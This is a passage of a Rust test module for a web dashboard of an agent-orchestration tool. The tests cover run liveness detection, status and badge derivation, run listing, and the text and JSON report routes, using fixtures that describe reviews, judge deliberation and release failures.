21275        state.id = id.to_owned();
21276        state.status = RunStatus::Reviewing;
21277        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21278        // This test process's own pid really is alive, but the marker
21279        // recorded here does not match what it actually started at —
21280        // standing in for the pid having since been reused by a different
21281        // process than the one that wrote `run.json`.
21282        state.driver_pid = Some(std::process::id());
21283        state.driver_started_at = Some("1".to_owned());
21284        let dir = f.runs().join(id);
21285        std::fs::create_dir_all(&dir).expect("run dir");
21286        std::fs::write(
21287            dir.join("run.json"),
21288            serde_json::to_string_pretty(&state).expect("serialize run"),
21289        )
21290        .expect("write run.json");
21291
21292        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21293        assert_eq!(detail["live"], "dead", "{detail}");
21294    }
21295
21296    /// The deck's competition list is normally the first place an operator
21297    /// sees an old run. It must carry the same process verdict as detail, or
21298    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
21299    #[test]
21300    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
21301        let mk = |id: &str, pid: Option<u32>| {
21302            let mut s = RunState::new(
21303                PathBuf::from("/repo/magi"),
21304                "main".to_owned(),
21305                "0123456789abcdef".to_owned(),
21306                "Add a web UI".to_owned(),
21307                Config::default(),
21308            );
21309            s.id = id.to_owned();
21310            s.driver_pid = pid;
21311            s.driver_started_at = Some("1790000000".to_owned());
21312            s
21313        };
21314        let states = vec![
21315            mk("20260902-140502-aaaa", Some(77)),
21316            mk("20260902-140502-bbbb", Some(77)),
21317            mk("20260902-140502-cccc", Some(77)),
21318            mk("20260902-140502-dddd", None),
21319        ];
21320        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
21321        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
21322        let sup: HashMap<String, String> = [(
21323            "20260902-140502-aaaa".to_owned(),
21324            "20260902-140502-cccc".to_owned(),
21325        )]
21326        .into();
21327
21328        let status_calls = std::cell::Cell::new(0);
21329        let identity_calls = std::cell::Cell::new(0);
21330        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
21331            |_| {
21332                status_calls.set(status_calls.get() + 1);
21333                Some(true)
21334            },
21335            |_| {
21336                identity_calls.set(identity_calls.get() + 1);
21337                Some("1790000000".to_owned())
21338            },
21339        ));
21340        let rows = summarize(
21341            states,
21342            &open,
21343            &claimed,
21344            &sup,
21345            |p| probe.borrow_mut().status(p),
21346            |p| probe.borrow_mut().started_at(p),
21347        );
21348
21349        assert_eq!(status_calls.get(), 1, "one pid, one status query");
21350        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
21351        assert_eq!(rows.len(), 4);
21352        assert!(!rows[0].waiting && rows[1].waiting);
21353        assert_eq!(rows[0].live, crate::run::Liveness::Live);
21354        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
21355        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
21356        assert_eq!(rows[1].superseded_by, None);
21357    }
21358
21359    #[test]
21360    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
21361        let mut state = RunState::new(
21362            PathBuf::from("/repo/magi"),
21363            "main".to_owned(),
21364            "0123456789abcdef".to_owned(),
21365            "Review only".to_owned(),
21366            Config::default(),
21367        );
21368        state.id = "20260922-090200-dead".to_owned();
21369        state.status = RunStatus::Reviewing;
21370        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
21371            .expect("serialize list row");
21372        assert_eq!(row["status"], "reviewing");
21373        assert_eq!(row["display_status"], "stale");
21374        assert_eq!(row["live"], "dead", "{row}");
21375        assert!(!row["done"].as_bool().unwrap());
21376    }
21377
21378    #[test]
21379    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
21380        use crate::run::Liveness::{Dead, Live, Unknown};
21381        let mut state = RunState::new(
21382            PathBuf::from("/repo/magi"),
21383            "main".to_owned(),
21384            "abc".to_owned(),
21385            "Review only".to_owned(),
21386            Config::default(),
21387        );
21388        for (status, parked, node, waiting, live, expected) in [
21389            (
21390                RunStatus::Judging,
21391                true,
21392                "github-text",
21393                false,
21394                Dead,
21395                "parked",
21396            ),
21397            (RunStatus::Judging, false, "park", false, Dead, "stale"),
21398            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
21399            (
21400                RunStatus::Judging,
21401                true,
21402                "github-text",
21403                true,
21404                Dead,
21405                "waiting",
21406            ),
21407            (
21408                RunStatus::Judging,
21409                false,
21410                "github-text",
21411                true,
21412                Dead,
21413                "waiting",
21414            ),
21415            (
21416                RunStatus::Judging,
21417                false,
21418                "github-text",
21419                false,
21420                Dead,
21421                "stale",
21422            ),
21423            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
21424            (RunStatus::Judging, true, "park", false, Live, "judging"),
21425            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
21426            (RunStatus::Merged, true, "park", false, Dead, "merged"),
21427            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
21428            (
21429                RunStatus::Blocked,
21430                true,
21431                "github-text",
21432                true,
21433                Dead,
21434                "waiting",
21435            ),
21436        ] {
21437            state.status = status;
21438            state.parked = parked;
21439            state.events.clear();
21440            state.event(
21441                "park",
21442                "an earlier park does not determine the latest state",
21443            );
21444            state.event(node, "message is not used for classification");
21445            let summary = RunSummary::of(&state, waiting, live);
21446            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
21447            assert_eq!(
21448                summary.display_status, expected,
21449                "{status:?}/{node}/{live:?}"
21450            );
21451            assert_eq!(detail.display_status, summary.display_status);
21452            assert_eq!(detail.waiting, summary.waiting);
21453        }
21454        state.status = RunStatus::Judging;
21455        state.parked = false;
21456        state.events.clear();
21457        assert_eq!(run_display_status(&state, false, Dead), "stale");
21458    }
21459
21460    #[test]
21461    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
21462        use crate::run::Liveness::{Dead, Live, Unknown};
21463        let mut state = RunState::new(
21464            PathBuf::from("/repo/magi"),
21465            "main".to_owned(),
21466            "abc".to_owned(),
21467            "Badge".to_owned(),
21468            Config::default(),
21469        );
21470        for (status, waiting, live, superseded, expected) in [
21471            (RunStatus::Gating, false, Dead, false, "stale"),
21472            (RunStatus::Gating, false, Dead, true, "superseded"),
21473            (RunStatus::Gating, false, Unknown, true, "superseded"),
21474            (RunStatus::Gating, true, Dead, true, "superseded"),
21475            (RunStatus::Gating, true, Dead, false, "waiting"),
21476            (RunStatus::Gating, false, Unknown, false, "gating"),
21477            (RunStatus::Gating, false, Live, true, "gating"),
21478            (RunStatus::Gating, true, Live, true, "waiting"),
21479            (RunStatus::Merged, false, Dead, true, "merged"),
21480            (RunStatus::Blocked, false, Dead, true, "blocked"),
21481        ] {
21482            state.status = status;
21483            let display = run_display_status(&state, waiting, live);
21484            assert_eq!(
21485                run_badge_status(&state, &display, live, superseded),
21486                expected,
21487                "{status:?}/{live:?}/superseded={superseded}"
21488            );
21489        }
21490    }
21491
21492    #[test]
21493    fn summarize_and_detail_expose_badge_status() {
21494        use crate::run::Liveness::Dead;
21495        let mut state = RunState::new(
21496            PathBuf::from("/repo/magi"),
21497            "main".to_owned(),
21498            "abc".to_owned(),
21499            "Badge".to_owned(),
21500            Config::default(),
21501        );
21502        state.status = RunStatus::Gating;
21503        let none = HashSet::new();
21504        let id = state.id.clone();
21505        let mut by = HashMap::new();
21506        let rows = summarize(
21507            [state.clone()],
21508            &none,
21509            &none,
21510            &by,
21511            |_| Some(false),
21512            |_| None,
21513        );
21514        // No driver recorded: liveness is not provably dead, so the node stays.
21515        assert_eq!(rows[0].badge_status, rows[0].display_status);
21516        by.insert(id, "20260901-000000-913b".to_owned());
21517        let detail = RunDetailView::of(
21518            state.clone(),
21519            false,
21520            Dead,
21521            Some("913b".to_owned()),
21522            None,
21523            None,
21524        );
21525        assert_eq!(detail.badge_status, "superseded");
21526        let json = serde_json::to_value(&detail).unwrap();
21527        assert_eq!(json["badge_status"], "superseded");
21528        let detail = RunDetailView::of(state, false, Dead, None, None, None);
21529        assert_eq!(detail.badge_status, "stale");
21530    }
21531
21532    #[tokio::test]
21533    async fn run_display_status_routes_share_the_open_question_store() {
21534        let f = Fixture::start().await;
21535        let id = "20260922-090200-abcd";
21536        write_run(&f.runs(), id, RunStatus::Judging);
21537        let mut state = read_run(&f.runs(), id).unwrap();
21538        state.parked = true;
21539        state.driver_exited = true;
21540        state.event("github-text", "waiting for the owner");
21541        state.save_under(f.home.path()).unwrap();
21542        let mut task = Task::new(
21543            "resumed task".to_owned(),
21544            "do it".to_owned(),
21545            PathBuf::from("/repo"),
21546            Source::Human,
21547        );
21548        task.runs = vec![id.to_owned(), id.to_owned()];
21549        f.queue().put(&mut task).unwrap();
21550        let store = f.questions();
21551        let mut q = Question::new(
21552            id.to_owned(),
21553            "github-text".to_owned(),
21554            "owner".to_owned(),
21555            "Approve the text?".to_owned(),
21556            String::new(),
21557            Vec::new(),
21558        );
21559        store.put(&mut q).unwrap();
21560        for expected in ["waiting", "parked"] {
21561            let list = f.get("/api/runs").await.json();
21562            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21563            assert_eq!(list[0]["display_status"], expected);
21564            assert_eq!(detail["display_status"], expected);
21565            assert_eq!(detail["waiting"], list[0]["waiting"]);
21566            assert_eq!(list[0]["badge_status"], expected);
21567            assert_eq!(detail["badge_status"], expected);
21568            assert!(list[0]["superseded_by"].is_null());
21569            assert!(detail["superseded_by"].is_null());
21570            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
21571            let history = task_detail["history"].as_array().unwrap();
21572            assert_eq!(history.len(), 2);
21573            assert!(history[0]["badge"].is_null());
21574            assert_eq!(history[1]["badge"], expected);
21575            q.status = ask::QuestionStatus::Answered;
21576            store.put(&mut q).unwrap();
21577        }
21578    }
21579
21580    #[tokio::test]
21581    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
21582        let f = Fixture::start().await;
21583        let id = "20260922-090200-abcd";
21584        write_run(&f.runs(), id, RunStatus::Judging);
21585        let mut state = read_run(&f.runs(), id).unwrap();
21586        state.parked = true;
21587        state.driver_exited = true;
21588        state.event("park", "stopped at a node boundary");
21589        state.save_under(f.home.path()).unwrap();
21590
21591        for expected in ["parked", "stale"] {
21592            let list = f.get("/api/runs").await.json();
21593            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21594            assert_eq!(list[0]["live"], "dead");
21595            assert_eq!(list[0]["display_status"], expected);
21596            assert_eq!(detail["display_status"], expected);
21597            // Model a driver claim followed by a crash before the next event:
21598            // the persisted flag changes, but the last event is still park.
21599            state.parked = false;
21600            state.save_under(f.home.path()).unwrap();
21601        }
21602    }
21603
21604    #[tokio::test]
21605    async fn the_run_list_is_newest_first_and_honours_a_limit() {
21606        let f = Fixture::start().await;
21607        for id in [
21608            "20260902-140501-aaaa",
21609            "20260902-140502-bbbb",
21610            "20260902-140503-cccc",
21611        ] {
21612            write_run(&f.runs(), id, RunStatus::Merged);
21613        }
21614
21615        let all = f.get("/api/runs").await.json();
21616        let capped = f.get("/api/runs?limit=2").await.json();
21617
21618        assert_eq!(all[0]["id"], "20260902-140503-cccc");
21619        assert_eq!(all.as_array().map(Vec::len), Some(3));
21620        assert_eq!(capped.as_array().map(Vec::len), Some(2));
21621        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
21622    }
21623
21624    #[tokio::test]
21625    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
21626        let f = Fixture::start().await;
21627        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
21628
21629        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
21630
21631        assert_eq!(res.status, 200);
21632        assert!(
21633            res.headers
21634                .contains("content-type: text/plain; charset=utf-8"),
21635            "a browser must render it, not download it: {}",
21636            res.headers
21637        );
21638        // The assertion is on content, not on the absence of escapes: colour
21639        // is a process-global that `serve` turns off at startup, and another
21640        // test in this binary may own it while this one runs.
21641        assert!(
21642            res.body.contains("20260902-140501-a1b2"),
21643            "the report is about the run that was asked for: {}",
21644            res.body
21645        );
21646    }
21647
21648    #[tokio::test]
21649    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
21650        // The view names the run's state directory, which reads the process-global home.
21651        crate::run::pin_test_home();
21652        let f = Fixture::start().await;
21653        let id = "20260902-140501-a1b2";
21654        write_run(&f.runs(), id, RunStatus::Stalled);
21655        // A stalled panel and one review round, written through the real
21656        // state file so the route reads what a run really leaves behind.
21657        let path = f.runs().join(id).join("run.json");
21658        let mut v: serde_json::Value =
21659            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21660        v["tally"] = serde_json::json!({
21661            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21662            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21663            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21664            "met_quorum": false, "rankings": 1
21665        });
21666        v["reviews"] = serde_json::json!([{
21667            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
21668            "e2e_deferred": true,
21669            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
21670                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
21671            ]}]
21672        }]);
21673        std::fs::write(&path, v.to_string()).unwrap();
21674        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
21675        std::fs::write(
21676            f.runs().join("20260902-140502-dead").join("run.json"),
21677            "{not json",
21678        )
21679        .unwrap();
21680
21681        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21682
21683        assert_eq!(res.status, 200, "{}", res.body);
21684        assert!(res.headers.contains("content-type: application/json"));
21685        let j = res.json();
21686        assert_eq!(j["schema"], 1);
21687        assert_eq!(j["header"]["id"], id);
21688        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
21689        let kinds: Vec<&str> = j["sections"]
21690            .as_array()
21691            .unwrap()
21692            .iter()
21693            .map(|s| s["kind"].as_str().unwrap())
21694            .collect();
21695        assert_eq!(kinds, ["candidates", "tally", "review"]);
21696        let tally = &j["sections"][1]["tally"];
21697        assert_eq!(
21698            (tally["decided"].clone(), tally["provisional"].clone()),
21699            (false.into(), true.into())
21700        );
21701        let round = &j["sections"][2]["rounds"][0];
21702        assert_eq!(round["e2e"]["state"], "deferred");
21703        assert_eq!(round["findings"][0]["severity"], "major");
21704        assert_eq!(round["findings"][0]["blocking"], true);
21705        assert_eq!(round["findings"][0]["state"], "open");
21706
21707        // The raw route keeps working beside it.
21708        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
21709
21710        // An unreadable run is an error, as on the text route, and is counted.
21711        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
21712        assert_ne!(bad.status, 200, "{}", bad.body);
21713        assert_eq!(
21714            bad.status,
21715            f.get("/api/runs/20260902-140502-dead/report").await.status
21716        );
21717        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21718        assert_eq!(
21719            f.get("/api/runs/20260902-999999-ffff/report.json")
21720                .await
21721                .status,
21722            404
21723        );
21724    }
21725
21726    #[tokio::test]
21727    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21728        crate::run::pin_test_home();
21729        let f = Fixture::start().await;
21730        let id = "20260902-140501-a1b2";
21731        write_run(&f.runs(), id, RunStatus::Blocked);
21732        let path = f.runs().join(id).join("run.json");
21733        let mut v: serde_json::Value =
21734            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21735        v["sync_only_passes"] = serde_json::json!([{
21736            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21737            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21738            "head_before": "before-sha", "head_after": "after-sha",
21739            "result": "synchronized", "verification_allowed": false
21740        }]);
21741        std::fs::write(&path, v.to_string()).unwrap();
21742
21743        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21744        assert_eq!(res.status, 200, "{}", res.body);
21745        let json = res.json();
21746        let section = json["sections"]
21747            .as_array()
21748            .unwrap()
21749            .iter()
21750            .find(|s| s["key"] == "sync_only")
21751            .expect("base-only report section");
21752        let line = section["lines"][0].as_str().unwrap();
21753        assert!(line.contains("origin/main @ base-sha"), "{line}");
21754        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21755        assert!(line.contains("verification was not allowed"), "{line}");
21756    }
21757
21758    #[tokio::test]
21759    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21760        crate::run::pin_test_home();
21761        let f = Fixture::start().await;
21762        let id = "20260902-140505-facts";
21763        write_run(&f.runs(), id, RunStatus::Stalled);
21764        let path = f.runs().join(id).join("run.json");
21765        let mut v: serde_json::Value =
21766            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21767        v["candidates"] = serde_json::json!([{
21768            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21769            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21770        }]);
21771        v["tally"] = serde_json::json!({
21772            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21773            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21774            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21775            "met_quorum": false, "rankings": 1
21776        });
21777        v["quota"] = serde_json::json!([
21778            {
21779                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21780                "agent": "signed-out", "cause": "authentication"
21781            },
21782            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21783        ]);
21784        v["startup"] = serde_json::json!({
21785            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21786            "failure": "fetch refused\ncredentials expired"
21787        });
21788        v["recovery"] = serde_json::json!({
21789            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21790            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21791            "repair": {"started": {"before": "abcdef012345"}}
21792        });
21793        v["reviews"] = serde_json::json!([{
21794            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21795            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21796            "vote_split": true, "verdict": "approve_with_findings",
21797            "e2e": [{
21798                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21799            }],
21800            "reviews": [
21801                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21802                 "summary": "Initial **concern**.\n\nPlease inspect.",
21803                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21804                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21805            ],
21806            "reconsideration": [{
21807                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21808                "reason": "The blocker is resolved.\nOne minor issue remains."
21809            }]
21810        }]);
21811        v["merge_repairs"] = serde_json::json!([{
21812            "question": "question-42", "head": "abcdef012345",
21813            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21814            "gate": [], "phase": "Failed",
21815            "failure": "owner decision required\ninspect updated results"
21816        }]);
21817        v["bump_decision_attempts"] = serde_json::json!([
21818            {"agent": "first", "outcome": "unavailable"},
21819            {"agent": "second", "outcome": "patch\naccepted"}
21820        ]);
21821        v["release_bump"] = serde_json::json!({
21822            "version": "1.2.3", "local": true,
21823            "problem": "publish failed\nregistry refused",
21824            "release": {
21825                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21826                "failed": "registry refused\nawait owner approval",
21827                "log": [{
21828                    "name": "cargo publish", "code": 1,
21829                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21830                }]
21831            }
21832        });
21833        std::fs::write(&path, v.to_string()).unwrap();
21834
21835        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21836        assert_eq!(res.status, 200, "{}", res.body);
21837        let j = res.json();
21838        assert_eq!(j["schema"], 1);
21839        assert_eq!(j["header"]["tone"], "warn");
21840        assert_eq!(
21841            j["header"]["startup"],
21842            "review branch=topic stage=fetch complete=false"
21843        );
21844        assert_eq!(
21845            j["header"]["startup_failure"],
21846            "fetch refused\ncredentials expired"
21847        );
21848        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21849        assert_eq!(
21850            j["sections"][0]["items"][0]["detail"],
21851            "Already covered.\nNo patch needed."
21852        );
21853        assert_eq!(
21854            j["sections"][1]["tally"]["rate_limited"],
21855            serde_json::json!(["judge-1", "judge-2"])
21856        );
21857        let sections = j["sections"].as_array().unwrap();
21858        let labels: Vec<_> = sections
21859            .iter()
21860            .map(|section| {
21861                section["key"]
21862                    .as_str()
21863                    .or_else(|| section["kind"].as_str())
21864                    .unwrap()
21865            })
21866            .collect();
21867        assert_eq!(
21868            labels,
21869            [
21870                "candidates",
21871                "tally",
21872                "quota_details",
21873                "recovery",
21874                "review",
21875                "merge_repairs",
21876                "release_decision_attempts",
21877                "release_bump",
21878                "release_execution"
21879            ]
21880        );
21881        let note = |key: &str| {
21882            sections
21883                .iter()
21884                .find(|section| section["kind"] == "notes" && section["key"] == key)
21885                .unwrap()
21886        };
21887        let unavailable = note("quota_details");
21888        assert_eq!(unavailable["tone"], "warn");
21889        assert_eq!(
21890            unavailable["lines"],
21891            serde_json::json!([
21892                "judge-1 (signed-out: re-authenticate)",
21893                "judge-2 (usage limit)"
21894            ])
21895        );
21896        let recovery = note("recovery");
21897        assert_eq!(recovery["tone"], "warn");
21898        assert!(
21899            recovery["lines"][0]
21900                .as_str()
21901                .unwrap()
21902                .contains("head moved\nreview the new diff")
21903        );
21904        assert_eq!(
21905            recovery["lines"][1],
21906            "the task's own completion criteria were kept"
21907        );
21908        assert_eq!(recovery["lines"][2], "repair: unfinished");
21909        let review = sections
21910            .iter()
21911            .find(|section| section["kind"] == "review")
21912            .unwrap();
21913        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21914        let round = &review["rounds"][0];
21915        assert_eq!(round["verified_head"], "fedcba9");
21916        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21917        assert_eq!(round["status"], "incomplete");
21918        assert_eq!(round["e2e"]["state"], "pass");
21919        assert_eq!(round["reviewers"][0]["vote"], "reject");
21920        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21921        assert_eq!(
21922            round["reviewers"][0]["reason"],
21923            "Initial **concern**.\n\nPlease inspect."
21924        );
21925        assert!(
21926            !round["reviewers"][0]["reason_md"]
21927                .as_array()
21928                .unwrap()
21929                .is_empty()
21930        );
21931        assert!(round["reviewers"][1]["final_vote"].is_null());
21932        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21933        assert_eq!(
21934            round["reconsideration"][0]["reason"],
21935            "The blocker is resolved.\nOne minor issue remains."
21936        );
21937        assert!(
21938            !round["reconsideration"][0]["reason_md"]
21939                .as_array()
21940                .unwrap()
21941                .is_empty()
21942        );
21943        let repairs = note("merge_repairs");
21944        assert_eq!(repairs["tone"], "warn");
21945        assert_eq!(
21946            repairs["lines"][0],
21947            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21948        );
21949        assert_eq!(
21950            repairs["lines"][1],
21951            "held: owner decision required\ninspect updated results"
21952        );
21953        assert_eq!(
21954            repairs["lines"][2],
21955            "original [R1-1-1] Minor: Check edge case"
21956        );
21957        assert_eq!(
21958            repairs["lines"][3],
21959            "original reviewer #1: ApproveWithFindings"
21960        );
21961        assert_eq!(
21962            repairs["lines"][4],
21963            "Repair never approves a merge; updated results require a fresh owner decision."
21964        );
21965        let attempts = note("release_decision_attempts");
21966        assert_eq!(attempts["tone"], "neutral");
21967        assert_eq!(
21968            attempts["lines"],
21969            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21970        );
21971        let bump = sections
21972            .iter()
21973            .find(|section| section["kind"] == "release_bump")
21974            .unwrap();
21975        assert_eq!(bump["bump"]["automerge"], "local");
21976        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21977        assert_eq!(bump["tone"], "warn");
21978        let execution = note("release_execution");
21979        assert_eq!(execution["tone"], "warn");
21980        assert_eq!(
21981            execution["lines"][0],
21982            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21983        );
21984        assert_eq!(
21985            execution["lines"][1],
21986            "tag on remote: true; 1 command(s) completed"
21987        );
21988        assert_eq!(
21989            execution["lines"][2],
21990            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21991        );
21992
21993        // The original endpoint remains terminal text, including these same facts.
21994        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21995        assert_eq!(raw.status, 200);
21996        assert!(
21997            raw.headers
21998                .contains("content-type: text/plain; charset=utf-8")
21999        );
22000        assert!(raw.body.contains("fetch refused\ncredentials expired"));
22001        assert!(raw.body.contains("Already covered."));
22002        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
22003        assert!(raw.body.contains("judge-2 (usage limit)"));
22004        assert!(
22005            raw.body
22006                .contains("owner decision required\ninspect updated results")
22007        );
22008        assert!(raw.body.contains("2. second: patch\naccepted"));
22009        assert!(raw.body.contains(
22010            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
22011        ));
22012
22013        // Historical records do not acquire invented startup or verification facts.
22014        let legacy_id = "20260902-140506-old";
22015        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
22016        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
22017        assert_eq!(legacy.status, 200, "{}", legacy.body);
22018        let legacy = legacy.json();
22019        assert!(legacy["header"]["startup"].is_null());
22020        assert!(legacy["header"]["startup_failure"].is_null());
22021        assert!(
22022            legacy["sections"]
22023                .as_array()
22024                .unwrap()
22025                .iter()
22026                .all(|section| section["kind"] != "notes")
22027        );
22028    }
22029
22030    #[tokio::test]
22031    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
22032        crate::run::pin_test_home();
22033        let f = Fixture::start().await;
22034        let id = "20260902-140503-delib";
22035        write_run(&f.runs(), id, RunStatus::Merged);
22036        let path = f.runs().join(id).join("run.json");
22037        let mut v: serde_json::Value =
22038            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
22039        v["judgements"] = serde_json::json!([
22040            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
22041        ]);
22042        v["tally"] = serde_json::json!({
22043            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
22044            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
22045            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
22046            "met_quorum": true, "rankings": 1
22047        });
22048        v["deliberation"] = serde_json::json!([
22049            {
22050                "round": 1,
22051                "turns": [
22052                    {
22053                        "judge": 1,
22054                        "agent": "judge-1",
22055                        "body": "I prefer candidate **A** because it has cleaner tests.",
22056                        "tentative": "A"
22057                    }
22058                ]
22059            },
22060            {
22061                "round": 2,
22062                "turns": [
22063                    {
22064                        "judge": 1,
22065                        "agent": "judge-1",
22066                        "body": "Still thinking, no choice yet.",
22067                        "tentative": null
22068                    }
22069                ]
22070            }
22071        ]);
22072        std::fs::write(&path, v.to_string()).unwrap();
22073
22074        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
22075        assert_eq!(res.status, 200, "{}", res.body);
22076        let j = res.json();
22077        let judging = j["sections"]
22078            .as_array()
22079            .unwrap()
22080            .iter()
22081            .find(|s| s["kind"] == "judging")
22082            .expect("judging section exists");
22083
22084        // Existing summary lines remain intact
22085        let delib_lines = judging["deliberation"].as_array().unwrap();
22086        assert_eq!(delib_lines.len(), 2);
22087        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
22088        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
22089
22090        // rounds carry turn bodies, tentative and parsed body_md
22091        let rounds = judging["rounds"].as_array().unwrap();
22092        assert_eq!(rounds.len(), 2);
22093        let r1_t0 = &rounds[0]["turns"][0];
22094        assert_eq!(r1_t0["judge"], 1);
22095        assert_eq!(r1_t0["agent"], "judge-1");
22096        assert_eq!(r1_t0["tentative"], "A");
22097        assert_eq!(
22098            r1_t0["body"],
22099            "I prefer candidate **A** because it has cleaner tests."
22100        );
22101        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
22102
22103        let r2_t0 = &rounds[1]["turns"][0];
22104        assert_eq!(r2_t0["judge"], 1);
22105        assert_eq!(r2_t0["agent"], "judge-1");
22106        assert!(r2_t0["tentative"].is_null());
22107        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
22108        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
22109
22110        // A run with empty deliberation array yields empty rounds
22111        let id_empty = "20260902-140504-nodelib";
22112        write_run(&f.runs(), id_empty, RunStatus::Merged);
22113        let path_empty = f.runs().join(id_empty).join("run.json");
22114        let mut v_empty: serde_json::Value =
22115            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
22116        v_empty["judgements"] = serde_json::json!([
22117            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
22118        ]);
22119        v_empty["deliberation"] = serde_json::json!([]);
22120        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
22121
22122        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
22123        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
22124        let j_empty = res_empty.json();
22125        let judging_empty = j_empty["sections"]
22126            .as_array()
22127            .unwrap()
22128            .iter()
22129            .find(|s| s["kind"] == "judging")
22130            .expect("judging section exists");
22131        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
22132    }
22133
22134    #[tokio::test]
22135    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
